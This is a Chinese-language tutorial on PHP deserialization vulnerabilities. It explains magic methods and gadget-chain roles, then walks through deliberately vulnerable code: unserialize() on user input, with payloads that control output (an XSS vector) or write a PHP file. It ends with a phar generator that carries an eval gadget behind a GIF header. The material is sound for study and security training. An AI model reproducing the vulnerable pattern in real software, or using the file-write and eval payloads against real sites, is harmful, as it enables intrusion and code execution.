Skip to content

PHP反序列化

反序列化漏洞原理

PHP序列化

PHP对象序列化 https://www.php.net/manual/zh/language.oop5.serialization.php
利用serialize()函数将一个对象转换为字符串形式

Demo:

<?php
class Demo{
    public $name = "dkk";
    public $age = 19;
}
$a = new Demo();
var_dump(serialize($a));
O:4:"Demo":2:{s:4:"name";s:3:"dkk";s:3:"age";i:19;}

PHP反序列化

反序列化就是利用unserailize()函数将一个经过序列化的字符串还原成php代码形式

Demo:

<?php
$b = 'O:4:"Demo":2:{s:4:"name";s:3:"dkk";s:3:"age";i:19;}';
$b = unserialize($b);
var_dump($b);

/usr/local/opt/[email protected]/bin/php /Users/dkk/WWW/try/webweb/test.php
/Users/dkk/WWW/try/webweb/test.php:4:
class __PHP_Incomplete_Class#1 (3) {
  public $__PHP_Incomplete_Class_Name =>
  string(4) "Demo"
  public $name =>
  string(3) "dkk"
  public $age =>
  int(19)
}

Process finished with exit code 0

PHP常见的魔术方法

方法名 调用条件
__call 调用不可访问或不存在的方法时被调用
__callStatic 调用不可访问或不存在的静态方法时被调用
__clone 进行对象clone时被调用,用来调整对象的克隆行为
__constuct 构建对象的时被调用;
__debuginfo 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
__destruct 明确销毁对象或脚本结束时被调用;
__get 读取不可访问或不存在属性时被调用
__invoke 当以函数方式调用对象时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
__set 当给不可访问或不存在属性赋值时被调用
__set_state 当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
__sleep 当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__toString 当一个类被转换成字符串时被调用
__unset 对不可访问或不存在的属性进行unset时被调用
__wakeup 当使用unserialize时被调用,可用于做些对象的初始化操作

反序列化的常见起点

方法名 调用条件 xxxx
__wakeup 当使用unserialize时被调用 一定会调用
__destruct 销毁对象或脚本结束时被调用 一定会调用
__toString 当一个类被转换成字符串时被调用 当一个对象被反序列化后又被当做字符串使用

反序列化的常见中间跳板

方法名 调用条件
__toString 当一个对象被当做字符串使用
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用 形如$this->$func();
### 反序列化的常见终点
__call 调用不可访问或不存在的方法时被调用

call_user_func 一般php代码执行都会选择这里

call_user_func_array 一般php代码执行都会选择这里

PHP反序列漏洞代码

Demo1

漏洞代码

<?php
error_reporting(0);
class Test{
    public $test = "admin";
    function __destruct(){
        echo $this->test;
    }
}
$a = $_GET['app'];
unserialize($a);
payload:
<?php
class Test{
    public $test = "dididi   dkkk";
}
$a = new Test();
echo serialize($a);
即可控制输出

可以控制页面就可以XSS

Demo2

漏洞代码

<?php
class foo{
    public $file = "config.txt";
    public $data = "test";
    function __destruct(){
        file_put_contents(dirname(__FILE__).'/'.$this->file,$this->data);
    }
}
$value = $_GET['value'];
unserialize($value);
payload:
<?php
class foo{
    public $file = "flag.php";
    public $data = "<?php phpinfo();?>";
}
echo serialize(new foo());
生成flag.php文件

反序列化漏洞常见类型

Phar反序列化漏洞

漏洞成因:phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化

https://xz.aliyun.com/t/2715

https://xz.aliyun.com/t/3692

<?php
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');


$object = new AnyClass();
$object -> output= 'phpinfo();';


$phar -> setMetadata($object);
$phar -> stopBuffering();

Session反序列化漏洞

Session序列化机制

https://blog.csdn.net/nzjdsds/article/details/82703639